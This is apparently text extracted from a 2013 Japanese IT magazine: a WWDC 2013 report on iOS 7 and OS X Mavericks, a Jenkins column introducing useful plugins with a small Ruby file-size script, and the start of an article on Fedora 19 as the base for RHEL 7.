フェースを受け入れ、過去のOSを振り返るこ
とはありません。iOS 7も同じような道を歩み、
ユーザの満足度が高まるとともに、自然と受け
入れられるようになると予想しています。
　しかも、現在評価されている iOS 7はベータ
バージョンです。秋には正式版がリリースされ
る予定ですが、それまでにデザインや操作性に
磨きがかかり、ユーザが納得する形で、新しい
iPhoneの登場とともに完成した姿を見せてく
れると期待しています。
　なお、現在使用しているアプリは今までどお
り後方互換によって実行されるので、iOS 7の
デザインとマッチしない部分もあるでしょうが、
ほとんどのアプリはそのまま動作するでしょう。
また、フラットデザインの採用によって、既存

のプログラムが使えなくなることはありません。
Appleが提供する標準的なUIオブジェクトも
見た目は変われど、その機能やサイズは保たれ
ています。

 求められる開発者へのスキル

　大きなバージョンアップとなる iOS 7の正式
リリースに向けて、iPhoneユーザの盛り上が
りは秋まで加速していくでしょう。一方、開発
者にとっての iOS 7の登場は新しい技術を使っ
たアプリ開発のチャンスであると同時に、過去
のOSへのサポートなど既存のアプリに対する
メンテナンスも平行して考えなければなりませ
ん。iOS 7だけをターゲットに開発できれば、
これほど幸せなことはないのですが、現実に目
を向けると iOS 5への対応など頭の痛い問題が
存在します。
　また、iOS 7ではデザインの重要性をアピー
ルしていますので、いままで以上にアプリのデ
ザインに時間を費やすことになるでしょう。も
ちろん、それを乗り越えていくのがプログラマ
の腕の見せどころですし、より素晴らしいアプ
リが生まれる土壌が用意されたと前向きに考え
るべきかもしれません。まずは、ユーザインター
フェースのガイドラインを読んで、iOS 7での
アプリのあるべき姿や新しいユーザ体験を理解
することが最初の一歩となります。
　巨大なアプリマーケットとして成熟したApp 

Storeの中で存在感のあるアプリを開発するに
は、いままでのプログラミングスキルを生かし、
さらに iOS 7の新しいデザインや機能を積極的
に組み込むことが重要だと考えています。そう
いう意味では、iOS 7の登場によってより多く
の技術への理解とデザインセンスが要求される
わけで、プログラマにとって真価が問われる時
代になったこと、そして自身の技術力をさらに
高める契機になりそうです。

  今後の10年を
見据えたデザイン

　キーノートスピーチでは「Next 10 Years」と

iOS 7＆Mavericksアプリ開発へのプロローグ
秋まで待てない！Part2

写真2　iOS 7 ▼
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いう言葉を何度か聞きました。iOS 7によるデ
ザインの大きな転換は、今後10年のスマート
フォンやタブレット市場において、決して色あ
せないOSとして存在し続けるという自信の表
れだと思いました。それだけに、単なる思いつ
きでアイコンやボタンなどのデザインを変えた
のではなく、その根底にはユーザの視点に立っ
てユーザインターフェースを再構築したのでは
ないかと想像しています。それを理解するには
現状のベータバージョンを体験するだけでは到
底時間が足りません。今後数年かけて iOSは着
実に進化し、すべてのユーザを満足させる操作
性や機能を提供していくと期待しています。
　そのためには iOSだけではなく、その上で動
作するアプリもまた進化を続ける必要があり、
プログラマの1人として気が引き締まる思いで
す。1年先も予想できないこの業界ですから、
来年はまた新たな iOSの未来像を我々に示して
くれるのではないかとワクワクしています。

堅実な進化を遂げたOS X

  Mavericksが映す
将来のOS戦略

　ネコ科のコードネームから脱却したOS Xは、
Mavericksという名前で発表されました（写真
3）。iOS 7のような見た目の変化はほとんど感

じられず、メジャーアップデートにしては寂し
い内容に映った方も多いと思います。しかし、
内部的な機能は大きく強化され、地味ではあり
ますが堅実に進化しています。タイマーコアレッ
シングやApp Napによるバッテリーの消費量を
抑える技術、圧縮メモリによるパフォーマンス
の向上など、目には見えづらい改善も含まれて
います。
　また、マップや iBooksなど、iOSの機能を
OS Xにも実装したことで、iOSとOS Xは1

つのOSに融合されることなく、互いの技術を
それぞれのプラットフォームに適合した形で進
化させていく……それがAppleの考えるOS戦
略だと勝手に予想しています。もちろん iOSと
OS Xの両方をサポートするためには、プログ
ラマの負担は間違いなく増えるわけですが、
Appleから優れたフレームワークが提供される
ことで、ある程度は解決できるのではと期待し
ています。
　デスクトップとタブレットを一本のOSで展
開するWindows 8はまさにその逆を行くわけ
ですが、どちらがユーザにとって高い満足感を
与えられるか？　その答えは近い将来にわかる
ことでしょう。

 iCloudの存在感

　まさに雲のように実体が見えない iCloudで

開発するならやっぱりMacですよね？
9人9色のデスクトップ拝見＋新OS傾向と対策第2特集

写真3　OS X Mavericks ▼
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すが、その存在は正直あまり目立っていないよ
うに思えます。今回は iCloud Keychain注2や
iWorks in iCloud注3によってその利便性をユー
ザに訴求していますが、プログラマの心に響く
ような新たな技術は発表されませんでした。
　より多くのアプリが iCloudに対応し、iOS

とOS Xにおける相互のデータ運用を加速させ
たいとAppleは思っているはずですが、これに
ついては各アプリ開発者がその必要性を感じな
い限りは進まないと思います。また、クラウド
サービスは自社のサーバを運用したり、既存の
クラウドサービスと連携する企業がほとんどで
す。そこに iCloudならではの高いアドバンテー
ジを見出せない限り、現状は変わらないように
思えます。しかも、競合であるGoogleや
Microsoftも独自のクラウドサービスを展開し
ていますので、これからも競争は過熱していく
ことでしょう。
　やはり普及のカギとなるのはアプリになるの
だと思います。魅力的なアプリが iCloudの可
能性を引き出し、ユーザの欲求に応えることが
できれば、iCloudの存在感が増し、プラット
フォームとして iOSやOS Xの価値が高まるこ
とにつながるのだと思います。AppleのOS戦
略には欠かせない iCloudは、今後も同社の中
核技術として引き続きユーザと開発者に訴求し
ていくことでしょう。しかし、iCloudがユー
ザや開発者に不可欠な技術として浸透していく
には、まだまだ時間がかかりそうです。

プロシューマ市場への回帰

 Mac Proの衝撃

　WWDCは開発者のイベントですから、ハー
ドウェアよりもソフトウェア技術の発表に重き
をおいているはずです。ですから、Mac Proの
発表は会場を埋め尽くす多くの聴衆にとって衝

撃的でした。事前に噂サイトなどを見てMac 

Proのアップデートを予感していましたが、そ
の妥協なきスペックや斬新な筐体にAppleの本
気を感じました（写真4）。
　まだ発売されていませんのであまり語ること
はできませんが、今回のMac Proの刷新により、
Appleがプロシューマ市場を支える意志を示し
たことになります。複雑な計算処理が求められ
る科学技術、医療、バイオなどの幅広い分野で
Mac Proが活躍することは想像に難しくあり
ません。また、4Kディスプレイが3台つなが
る環境は、映像業界では垂涎の的になると思い
ます。
　Mac Proは単にフラッグシップモデルという
立場だけでなく、Appleが iPhoneや iPadだけ
の会社ではないことを顕示するための、メッセー
ジを込めた製品であると言えるでしょう。

 Macアプリが見直されるとき

　iOSアプリは90万本を超え、ダウンロード
数は500億というとてつもなく大きな市場を展
開しています。一方、OS X用のアプリは同じ
ようにMac App Storeで販売されていますが、
その数は iOSと比べると少ないのが現状です。
　しかし、Mavericksのリリースや新型Mac 

Proの登場により、Macアプリが再び注目され

注2） Safariで利用するパスワードやクレジットカードなどの個人情報を、iCloudを使って一元管理できる機能。
注3） ワープロ、表計算、プレゼンソフトで構成する iWorksアプリが、Webブラウザ上で動作する新サービス。

iOS 7＆Mavericksアプリ開発へのプロローグ
秋まで待てない！Part2

写真4　新型Mac Proの外観 ▼
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ることが期待されます。iOSと比較して高い値
付けをしやすいMac App Storeは、アプリ販
売でビジネスするうえで無視できない存在です。
むしろ、専門的で実用的なアプリならば、無料
アプリで埋め尽くされた iOSよりも健全な市場
と捉えることができるでしょう。
　Mavericksの登場を期に、OS X用アプリの
開発にチャレンジするプログラマが増加すると
考えています（筆者もその1人です）。

  ノートブック市場の
トップランナー

　Mac Proの陰に隠れてしまいましたが、Mac

Book AirもプロセッサがHaswellになってアッ
プデートされました。バッテリーによる駆動時
間が飛躍的に伸び、13インチモデルでは半日も
持つようになりました。OS X Mavericksからは、
タイマーコアレッシングやApp Napの技術によっ
てバッテリーの消費が抑制され、さらに駆動時
間を伸ばすことができそうです。
　ノートブック市場においても、MacBookシ
リーズをトップランナーとして維持することを
Appleは目指しており、隙のないハードウェア
戦略に思わず唸ってしまいました。これもソフ
トウェアとハードウェアを一社で供給する強み
であり、今後も市場におけるAppleの存在感は
増していくのだと感じました。

競合プラットフォームとの差別化

 加速する断片化

　Androidアプリの開発実績のある方なら、
対応機種の多さやOSのバージョンに苦しめ
られた経験があると思います。とくにOSの
断片化（フラグメンテーション）は、開発者にとっ
て大きな重圧になっていることは事実です。
Androidの次期OSの噂も散見され、この問題
はなかなか解消されそうにはありません。
　キーノートスピーチでは、iOSとAndroidの
断片化を比較するグラフを示し、いかに iOSの
ユーザが最新のバージョンを使用しているかを
誇示しました（図1）。このことはOSとデバイ
スを自社で製造しているAppleの強みでもあり
ますが、開発者にとって断片化が少ないことは
本当にありがたいことです。
　しかし、iOSならば安泰ということでもなく、
iOS 7がリリースされれば過去のOSへの対応
も強いられることになります。とくに iOS 7で
はデザインが一新されましたので、同一アプリ
で iOS 6でも違和感のない画面デザインを実装
するには、開発者やデザイナーの力量が試され
る機会になりそうです。

　また、iPhone 5になってから画
面が縦に88ピクセル分伸びたこと
で、デバイスの差異もアプリ側で吸
収することになりました。今後、さ
らに新しい画面サイズのデバイスが
登場する可能性を考えると頭が痛い
問題ですが、Auto Layoutという技
術で異なる画面サイズを自動的にレ
イアウトすることができます。iOS

プログラマは今後増え続けるさまざ
まなデバイスに、柔軟に対応するた
めの技術を身に付けなければならな
いことをひしひしと感じています。

開発するならやっぱりMacですよね？
9人9色のデスクトップ拝見＋新OS傾向と対策第2特集

iOS 5
6%

iOS Android

Installed base

Gingerbread
37%

Jelly Bean
33%

Ice Cream
Sandwich

26%

iOS 6
93%

Froyo
Other3%

図1　iOSとAndroidの断片化の対比（WWDC 2013キーノートスピーチより） ▼
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  ネイティブアプリへの
こだわり

　モバイルアプリの実行環境として
HTML5が注目されています。iOSでは
Objective-Cでネイティブアプリを開発
するのが一般的ですが、HTML5を使っ
てWebアプリとして開発するケースも
増えてきています。クロスプラットフォー
ムへの対応や、増え続けるさまざまなメー
カーのデバイスに対応させるために、
Webアプリは現実的な選択肢といえます。
　しかし、iOSデバイスに限定するならば、
ネイティブアプリとして開発することが
豊かなユーザ体験を実現するための近道
であると考えます。WWDCでの5日間の
セッションを聴講した感想では、ネイティブア
プリの開発を推進したいAppleの姿勢を強く感
じました。新しい開発環境（Xcode 5）やデバッ
グツールなど、アプリ開発の生産性と品質の向
上をテーマにしたセッションも目立ちました。
　すでに多くの技術書やリファレンスが書店や
ネット上に存在し、Objective-Cもかなりポピュ
ラーな言語になったと感じます。数年前では想
像できないくらいに、iOSやOS Xのアプリ開
発へのハードルは下がりました。ネイティブア
プリとWebアプリにはそれぞれ長所短所があ
るので、開発するアプリによってどちらが最善
かを見極めることも大事ですが、より満足感の
高いユーザ体験を実現するには、ネイティブア
プリの開発に軍配が上がります。アプリを公開
するにはAppleによる審査や手続きなど面倒な
部分もありますが、今後進化を続ける iOSやデ
バイスの歩調に合わせるにも、ネイティブアプ
リの必要性を強く感じました。

これからどうするか？

 過去のOSバージョンへの対応

　サンフランシスコでの5日間は、Appleの考

える新しいスマートフォンやタブレットの未来
を感じさせてくれました。いろいろな議論はあ
るにせよ、iOS 7はプログラマを次の世界に導
いてくれるはずです。しかし、現状では iOS 6、
もっといえば iOS 5への対応も考えなければな
りません。筆者のような受託開発がメインのプ
ログラマにとっては、勝手に過去のOSを切り
捨てることはできません。多くのクライアント
は、より多くのユーザに使ってもらうために、
過去のOSを無視することはできないのが実情
です。
　iOS 7の新しい技術を習得すると同時に、過
去のOSにどう対応するか？　筆者はまずそこ
にフォーカスしたいと思っています（写真5）。
具体的な例はまだ挙げられませんが、ステータ
スバーがオーバーラップされたことで、すべて
のアプリはフルスクリーンで動作することにな
ります。その点だけでも現存するアプリに手を
加えたり修正する必要があり、プログラマの仕
事は秋の正式リリースまで忙しくなるでしょう。

  セッションビデオから
読み取る新機能

　AppleのWWDCサイトでは、公開されてい
るセッションビデオの一覧を見ることができま
す注4。もちろんビデオの内容は開発者登録をし

iOS 7＆Mavericksアプリ開発へのプロローグ
秋まで待てない！Part2

写真5　ホーム画面の比較（左：iOS 6、右：iOS 7ベータ版） ▼
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ているメンバーしか観られませんが、タイトル
や説明文は誰でも見られますので、そこから内
容を読み取ることができます。Sprite Kitや
Multitaskingなど興味深い技術に目を奪われが
ちですが、Xcodeのセッションもいくつかあり、
開発ツールのアップデートにも注目すべきです。
　このように iOS 7やOS X Mavericksを支え
る技術は多岐にわたり、約100にのぼるセッショ
ンビデオをすべて観るだけでもかなりの時間と
労力がいります。しかし、新しいフレームワー
クの使い方や技術を正式リリース前に習得する
ことは、最新のOSにいち早く対応した付加価
値の高いアプリ開発に欠かせません。すでに
iOS 7に向けた開発競争はスタートしています
ので、iOS Developer ProgramやMac Develop

er Programにまだ登録されていない方は、ぜ
ひ登録して iOS 7やOS X Mavericksの新しい
技術に触れることを強くお勧めします。デベロッ
パ登録の年会費は有料ですが、技術情報以外に
も iOS 7やOS X Mavericksのベータ版をイン
ストールできます。いち早く未来を体験しその
可能性を感じたい方には、年会費以上の価値を
感じていただけると思います。

WWDCを終えて

　今年はWWDC会期中にもセッションビデオ
が随時公開されました。家にいながらにして、
最新の技術情報が手に入るようになり、
WWDCへの参加意義が薄れているという意見
もあります。しかし、スペシャルイベントや

Appleエンジニアと対面して質問できるラボな
どは、高額なチケットを購入して現地まで足を
運んでも、十分それに見合う価値があると思い
ます。また来年も行ければいいのですが、今年
以上に加熱しそうなチケット争奪戦の行方が気
がかりです。
　繰り返しますが、iOS 7やOS X Mavericks

に対する皆さんの感想はさまざまだと思います。
刷新されたデザインの iOS 7や、着実に進化す
るOS Xに好意的な意見も聞かれる一方、思っ
たほど驚きがなかった、Appleの快進撃もここ
まで、などのネガティブなニュースも目立ちま
す。好調を保つAppleの業績が降下するニュー
スなどは、ユーザにとどまらず世間にはセンセー
ショナルな話題です。多くのメディアがネガティ
ブな話題で購読数を増やそうと躍起になってい
るようにも映ります。
　しかし、Appleが考えるこれからのソフトウェ
アやハードウェアは、いままでどおりユーザを
満足させ続ける存在になるはずです。そして、
iPod、iPhoneに続くような、人々の生活を一
変する新たなデバイスもそう遠くない将来に登
場するでしょう。これからの10年を見据えた
Appleの戦略に、WWDC参加者のほとんどが
大きな期待を寄せているその姿が印象的でした。
　なお、筆者が理事を努めるMOSA（Multi OS 

Software Artists）では、iOSやOS Xのプログ
ラマ支援を行っています。定期的なプログラミ
ングセミナーや会員向けのイベントを実施して
おりますので、ご興味のある方はぜひホームペー
ジ注5にアクセスしていただければ幸いです。ﾟ

注4） https://developer.apple.com/wwdc/videos/
注5） http://www.mosa.gr.jp/

開発するならやっぱりMacですよね？
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名称 説明
3D Map View iOS 6から採用された3Dビューの地図に対して、その技術を自身のアプリで利用できるようになった
Game Center ユーザ間でスコアなどの情報を共有するための技術が拡張され、ターンベースのゲーム制御が可能になった
MFi Game Controllers ゲーム専用の物理的なコントローラを利用できるようになった
New Multitasking APIs バッテリーの消費を抑えつつ、バックグラウンドでも継続して処理を実行するための技術が追加された
Sprite Kit 物理計算までサポートした2Dグラフィックの描画フレームワークによってゲームの制作が容易になった
Text Kit Core Textの技術を用いて、細かな調整が必要なテキストを多彩なフォントで容易にレイアウト可能になった
UIKit Dynamics より豊かなユーザ体験のために、ユーザインタラクションやトランジションをサポートする技術が追加された
Xcode 5 iOS 7やMavericksへの対応に加え、テスティングの機能が大幅に強化され、アプリの生産性も向上した

表1　開発者が注目すべき新しい技術 ▼

https://developer.apple.com/wwdc/videos/
http://www.mosa.gr.jp/
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小規模プロジェクト現場から学ぶJenkins活用

プラグインについて

　Jenkinsで扱えるプラグインには、大きく分けて
2種類あります。SubversionやCVS（Concurrent 

Versions System）といったバージョン管理システム
（以下、VCS）用プラグインのように本体と一緒にイ
ンストールされるものと、管理画面の「プラグイン
の管理」からインストールするものです。
　VCS用プラグインでも、Gitプラグインは「プラグ
インの管理」からインストールする必要があります。
ひと手間かかりますが、「プラグインの管理」からイ
ンストールできるということは、今後違うVCSが
出てきてもプラグインがあれば、そのVCSをすぐ
に使えるということです。
　「プラグインの管理」からインストールできるプラ
グインは、ビルドに関するもの、JOBの設定に関する
ものなど多岐にわたります。便利なプラグインがた
くさんありますが、どういうものがあるかを調べるの
は結構大変です。本稿では、まずプラグインに関す
る作業をどこで行うのかなどといったプラグインの
管理方法を解説します。そのあとで「どれを入れたら
いいだろうか……」と悩んでいる方へ、筆者が使って
いるプラグインで便利だと思うものを紹介します。

プラグインを調べる

　まず、どんなプラグインがインストールされてい

るのかを調べてみましょう。「Jenkinsの管理」から
「プラグインの管理」を選びます（図1）。
　4つのタブがあり、それぞれ「アップデート」、「利
用可能」、「インストール済み」、「高度な設定」に切
り替えるようになっています。それぞれのタブにつ
いて解説しましょう。

●●「アップデート」タブ
　プラグインを最新版に入れ替えるか、新規でイン
ストールするためのタブです。Jenkins本体のアップ
デートを行うと古いプラグインが動かなくなる可能
性もあるので、その場合はこちらでアップデート情
報が出ていないかを確認しましょう。

●●「利用可能」タブ
　現在配布されているプラグインの一覧です。必要
なプラグインにチェックを入れて、「再起動せずに
インストール」もしくは、「ダウンロードして再起動

今回はプラグインを紹介していきます。Jenkinsは、本体だけでは使えない機能をプラグインによって補
うことができます。便利なものがたくさんあるのでどうしても一部になってしまいますが、筆者の環境で
の使い方も含めて紹介していきます。

嶋崎 聡（しまざき さとし）  (株)XVI 　  Twitter   @sato_c

小規模プロジェクト現場
から学ぶJenkins活用

マニュアルどおりでホントに使える？

第 3 回 Jenkinsの管理をより便利に

●●図1　プラグインの管理画面
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後にインストール」のどちらかのボタンを押します
（図2）。ダウンロード画面（図3）になりますので、
完了になるまで待ちましょう。

●●「インストール済み」タブ
　すでにインストールされているプラグインの管理を行
います。有効／無効の切り替え、アンインストールや前
バージョンへのダウングレードもこちらから行います。

●●「高度な設定」タブ
　ダウンロード用Proxy、アップデート用サイトの設
定、ダウンロードしてあるプラグインファイル（拡張
子 .hpiのファイル）を手動でインストールするために
使います。どうしても自動でインストールできないプ
ラグインや、他のPCでダウンロードした.hpiファイ
ルをここからインストールするときにも使えます。

プラグインのインストール場所

　このあとの記事で、プラグイン自体がインストー
ルされたフォルダをいくつか見ていくことがありま
すが、基本的にはJenkinsをインストールしたフォ
ルダにある「Plugins」フォルダになります。ここに
プラグイン名がそのままフォルダ名になって入って
います。インストールするフォルダは環境によって
違いますので、ご自身がインストールしたフォルダ
に適宜読み替えてください。

プラグインの紹介

　ここからは筆者の環境で使っているプラグインを
紹介します。大きく分けて、Skypebot用に使ってい
るものと自分がJenkinsの動作を確かめるために
使っているものがあります。

Post Build Task

　このプラグインは前回注1紹介した、Skypebotへ
JOB結果を伝えるためにも使っているもので、コ
ンソールに出力されるログを解析してくれます。

　ログの中に特定の語句が出てきたかどうかを調べ
て、スクリプトを実行できます。複数の条件を
AND/ORで組み合わせる設定も可能です（図4）。
たとえば、細かいコンバートを1つのJOBにまと
めていた場合に、どこかのコンバートが失敗してい
てもそれ以外で成功したデータはコミットすると
いった具合に使えるでしょう。筆者の場合は正常に
終わっていれば「JOB名 ビルド番号 成功」といった
形でSkypebotにメッセージを送る用途にも使って
います。JOB処理の最後にJOBが終わったことを送

●●図2　利用可能画面

●●図3　ダウンロード画面

注1）	本誌2013年8月号

●●図4　Post Build Taskの条件設定
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信するようにしただけでは、エラーが起きても普通
にメッセージが送られてしまうだけなので、このプ
ラグインで条件設定をしています。
　図5の設定では“(数字 ) files(s) converted”という
メッセージを探して、見つかれば「スクリプト」欄に
書いたスクリプトを実行します。今回は条件を1つ
しか指定していませんが、複数の条件にまたがって
指定したい場合は［追加］ボタンを押して追加してく
ださい。必要なくなった条件は［Delete Log Text］
で削除できます。スクリプトの下にあるチェック
ボックスは「すべての行程が成功しているときだけ
スクリプトを実行する」のと「スクリプトの実行結果
をJOBのステータスに反映する」設定です。どちら
もJOBが正しく動作することを確認してから必要
に応じてチェックを入れましょう。

Log Parser

　このプラグインもコンソールログを使うプラグイ
ンです。コンソールログを解析してくれるところも
一緒なのですが、その解析結果をJOBの状況に反映
してくれる点が違います。筆者の環境ではビルドし
た結果がWarningだったときに状況をUNSTABLE

に、つまり成功でも失敗でもない状態にするために
使っています。自動で作ったソースファイル内で
includeするファイルが見つからなかったなんて状態
もすぐに見つけることができています。

●●設定
　設定は、システムの設定で解析ルール（Parsing 

Rules）の名前（Description）と、解析したい語句をまと
めたファイル（Parsing Rules File）を指定します（図6）。
　解析したい語句をまとめたファイルにはJavaで利
用されている正規表現の表記を使って書いていきま
す。たとえば「Warning」という語句を警告が出たと
して検知させる場合ですが、Warningという語句も
ツールが変わると書き方に違いが出てきます。1つ1

つ書いていると面倒ですから、大文字小文字の区別
なく行頭から検知させるために次のように書きます。

warn /(?i)^warning/

　ほかにもok/error/info/startといったルールを
記述できます。infoやstartは解析したログを見る
ページで処理の区切りを目立たせたい場合に使えま
す。筆者のJOBではソースをコミットしたときの
テストビルドで使っています。ルールにWarning

やエラーを登録してエラーメッセージなどを解析。
その結果からコンバートやビルドでトラブルがない
かを調べる設定にしています。
　また、ビルド時にエラーがあっても処理の結果が
正しく反映されないことがあります。例としては、
バッチファイルからcallされたバッチファイルが正し
くコードを返さなかったときです。こういうときには
処理がエラーで止まらず最後まで正しく行われたよ
うに振る舞いますので、あとで成果物を見てみたら
使えないものだったことに気づくなんてことが起こ
ります。この問題への対策としても使えます。どう
いったエラーのときにどんなメッセージが出るかを
調べる必要はありますが、それについてはダメだっ
たビルドのコンソールログを調べればよいでしょう。
　解析ルールはテキストファイルに記述していきま
すが、任意のフォルダにこのファイルを置くのでは
なく、リポジトリで管理するといいでしょう。いっ
たん書いたら更新することはそれほどないかもしれ

●●図5　設定例

●●図6　Log Parserの設定

 (\d+)file\(s\) converted
と設定してあります
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●●グラフ用データを用意する
　このプラグインが動作するためにはグラフにする
数値を書いた .propertiesファイルが必要になりま
す。たとえばこんな感じです。

例) imagesize.properties

YVALUE=264.464

　YVALUEは縦軸の値としてbuildに保存されま
す。横軸は各ビルド番号になります。YVALUEは
ビルドと同じ場所にCSVファイルで保存されます
ので、使う側は保存場所などを気にしなくて大丈夫
です。JOB処理の最後にファイルサイズを集計して
テキストファイルに書き出すスクリプトを走らせれ

ませんが、置き場所が一定になっていないファイル
はその存在を忘れてしまうことも多いです。なるべ
く他のソースファイルやスクリプトと同じような場
所で管理するほうがいいでしょう。

Build Pipe Line

　これはダッシュボードのJOB一覧を見やすくす
るためのプラグインです。各JOBの連携、成功失
敗などの情報を視覚的に確認できるようになりま
す。おもに自分がビルドの流れを見るために使って
います。というのも、筆者の環境ではほかの人はあ
まりJOB同士の連携などを気にしないし、成功失
敗についても関係するJOBはSkypebot経由で知る
ことができるので、ダッシュボードを確認する必要
がないためです。

●●設定
　JOB一覧はタブ化できますが、そのときに追加す
るタブはビューと呼ばれています。Build Pipe Line

はこのビューの1種類として機能し、JOBのつながり
を図にしたものをダッシュボードに追加します。
　JOB一覧タブの右端にある「＋」をクリックする
とビューの種類選択になります（図7）。ここで
「Build Pipeline View」を選んでビュー名を入力す
ると設定画面になります（図8）。
　表示されている設定から変更する部分は「Select 

Initial Job」で、最初に実行するJOBを選択するく
らいです。それ以外は必要に応じて変更してくださ
い。過去のビルドの表示数は、このビューに含む
JOBの数によって変わります。OKを押せば、JOB

のつながりが見やすく成功失敗もわかりやすい画面
になると思います（図9）。

Plot

　日々データ量は増えていきますが、あまり増えす
ぎると入らないなんてことが起こります。そこで全
体の容量や特定領域の容量を、JOBのついでにグラ
フとしてまとめるためのプラグインが「Plot」です。
下準備が必要になりますが、JOBの中に集計を追加
するだけでひと目で見えるようになります。

●●図7　ビューの種類を選択する

●●図8　Build Pipe Lineの設定画面

●●図9　Build Pipe Lineの画面

ここをBuild Pipe Lineの
ビューに設定しました
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ば、あとはビルドごとに容量の増減をグラフで確認
できるようになります。
　例としてフォルダの中にある画像ファイルのサイ
ズを合計して出力するスクリプトを載せておきます
（リスト1）。これ以外に、できあがったデータファ
イルのサイズをテキストファイルに書き出す処理を
追加します。グラフを描く設定はJOB側にありま
す（図10）。JOB側のグラフ設定では、グラフの名前
や描画に使うビルドの数、スタイルなどを設定しま
す。今回は .propertiesファイルを使うので、ファ
イル形式は「プロパティファイルからデータを読み
込む」になります。データ系列ファイルに設定され
たファイルを使ってグラフが描画されます（図11）。

Publish over FTP

　指定した成果物を ftpサーバにアップロードする
ためのプラグインです。筆者の環境では当初 ftp経
由での提出を行う想定でインストールしました。現

在では提出用としては使っていませんが、成果物を
別のサーバに保存する用途に使っています。
　設定はそれほど多くありません。まず、Jenkins全
体の設定で ftpサーバを登録します。サーバの設定
は名前／ホスト名／ID／パスワードと ftpサーバ側
のディレクトリを指定します（図12）。
　次に、JOB設定（図13）で、転送するファイルの場
所（Trasfer Set Source files）、ファイル名から削除し
たい内容（Remove prefix）、ftpサーバ側のフォルダ名
（Remote directory）を指定します。ファイル名から削
除したい内容とは、たとえば転送したいファイルが
「/project/artifacts/BUILD20130505.zip」だった場合
に“/project/artifacts/”と指定すれば、ファイル名の
「BUILD20130505.zip」が使われるということです。
　これで保存された成果物はJOBの最後にftpで目
的の場所に転送されます。このプラグインとPost 

Build Taskプラグイン、そしてメールを送信するスク
リプトを使い、ftpが無事完了したら「提出しました」的
なメールを送信！というJOBを作っておけば、夜中
にビルドして成功していたらzipファイルを明け方に
ftp経由で提出、ftpが終わり次第メールも送信が終

001 : # 指定されたフォルダの一覧を取得する
002 : image_list = Dir.glob( ARGV[0].to_s )
003 : # 一覧からファイルサイズを取得する
004 : image_file_size = 0
005 : image_list.each do ¦name¦
006 :   file_status = File.stat(name)
007 :   image_file_size += file_status.size
008 : end
009 : # 書き出すファイル名
010 : IMAGESIZE="imagesize.properties"
011 : # ファイルを書きだす
012 : File.open(IMAGESIZE,"w") do ¦f¦
013 :   f.write(sprintf("YVALUE=%.03f", 
image_file_size))
014 : end

●●リスト1　例（スクリプト:imagesize.rb）

●●図10　Plotの設定

●●図11　グラフで確認できるようになる

●●図12　Jenkins側の設定項目
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わっているなんて状況も作れます。いかがでしょう？

Emotional Jenkins

　これはJOBの結果に応じて表示を変えるプラグ
インです。JOBの成功／失敗／警告を説明画面に画
像で表示するものです。青／赤／黄でもすぐにわか
るのですが、それだけでなく図14の中央のように、
成功したらJenkinsさんのドヤ顔が表示されます。
失敗すると鬼の面を被ったJenkinsさんになります
（図14の左）。失敗するのが問題だとしても、あま
りに毎回鬼の面が出るとか、Jenkinsさんのドヤ顔イ
ヤだなーとかいうときのために、この絵を差し替え
てしまう方法を紹介します。

●●手順
　プラグインのインストールフォルダにある
「emotional-jenkins-plugin」の「images」にあるファイ
ルを書き換えます。初期状態では成功／失敗／不安
定のときにそれぞれ、jenkins／angry-jenkins／sad-

jenkinsのPNGが表示されるしくみです。
　このファイルを書き換えることで、もうJOBの
画面にJenkinsさんの顔が表示されることはなくな
るというわけです。今回はサンプルとして画像を用
意しました注2（図15）。置き換えたらJenkinsを再起
動します。JOB画面を開けば表示されている絵が変
わっていますので確認してください（図16）。

まとめ

　Jenkinsのプラグインは数が多く、説明もほとん
どが英語なのでとっつきづらい人も多いでしょう。
しかし、設定さえわかればどうにかなるところもあ
ります。まずはインストールして試してみるのがい
いと思います。今回紹介したプラグインを筆者が探
したときには、どんな場面で必要になるかを考え
て、そこから検索しました。
　Jenkinsのプラグイン一覧の説明に含まれている
語句を検索して、なんとなくこれかなーと思ったも
のをインストールして試してみたり、プラグインの

名前でGoogleで検索して感想を読んでみたり、周
りで使ってる人がいたらどんな感じかを聞いてみた
りして、必要かどうかを考えています。
　たまにプラグインの設定が日本語化されているも
のもあります。作者が日本人だったり、有志が翻訳
していることもあるので、その辺りは実際にインス
トールして試してみてください。s

●●図13　JOB側の設定項目

●●図16　元のJOB画面（左）と置き換え後のJOB画面（右）

●●図14　元々のファイル

●●図15　置き換え用のファイル

注2）	こちらの画像は筆者のGitHub（https://github.com/sato-c/sd_jenkins）にコミットしておきますので、書き換えを試してみたいけど手
頃な画像がない方は使ってください。

https://github.com/sato-c/sd_jenkins
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RHEL 7のベースとして
必要な機能を追加

　現行バージョンであるRHEL 6はFedora 12

をベースとしており、Fedoraの7バージョン分
……約3.5年の進化がRHEL 7には盛り込まれ
ることになります。とはいえ、RHEL 6にも多
くの機能がバックポートされているため、Fedora 

12から19までの差分すべてがRHEL 6と7の差
分になるわけではありません。たとえばLVM

（Logical Volume Manager）の Thin Provision 

ing機能はRHEL 6でも利用できるようになっ
ています。
　一方でRHEL 7のベースがFedora 18から19

にスイッチされた理由として、後述する
Checkpoint / Restoreのように重要かつ技術的
に難易度の高い機能の実装が遅れたことが挙げ
られます。本稿ではこれらの重要な機能追加や
変更をピックアップして紹介します。

クラウドへの本格対応

OpenShift Originを採用

　OpenShift Originは、Red Hatが企業向けに

提供するパブリックPaaSであるOpenShift 

OnlineとプライベートPaaSであるOpenShift 

Enterpriseのベースとなるコミュニティ版の
PaaS環境です。OpenShift Originプロジェクト
をRed Hatがスポンサーすることでコミュニ
ティを醸成し、その成果物をQA（品質保証）し、
RHELとの整合性をチェックして企業向けに長
期のライフサイクルのサポートを提供する点で、
FedoraとRHELの関係とほぼ同等であると言
えます。
　OpenShiftでは、Java、PHP、Ruby、Node.

js、Python、Perlといった開発言語と、MySQL

（MariaDB）、MongoDB、PostgreSQLなどの
データベース、さらにインテグレーションツー
ルであるJenkinsをPaaSとして提供します。開
発エンジニアはプロジェクトで利用したい開発
環境をWebコンソールで選択してデプロイし、
バージョン管理ツールであるgitを設定するだけ
でコードを書き始めることができます。
　一方でOpenShift Originそのものをセット
アップするのはそれなりに面倒な作業で、Fedora

19におけるセットアップ注1は煩雑な手作業にな

レッドハット㈱
グローバルサービス本部プラットフォームソリューション統括部

ソリューションアーキテクト部長
藤田 稜（ふじた りょう）

最終段階に入った
Fedora 19

コードネームは“シュレーディンガーの猫”

Red Hat Enterprise Linux 7に向けた

注1） http://fedoraproject.org/wiki/Open
Shift_Origin-F19

　米国時間2013年7月2日にリリースされたFedora 19（コードネーム：Schrodinger's Cat）は、Red Hat 
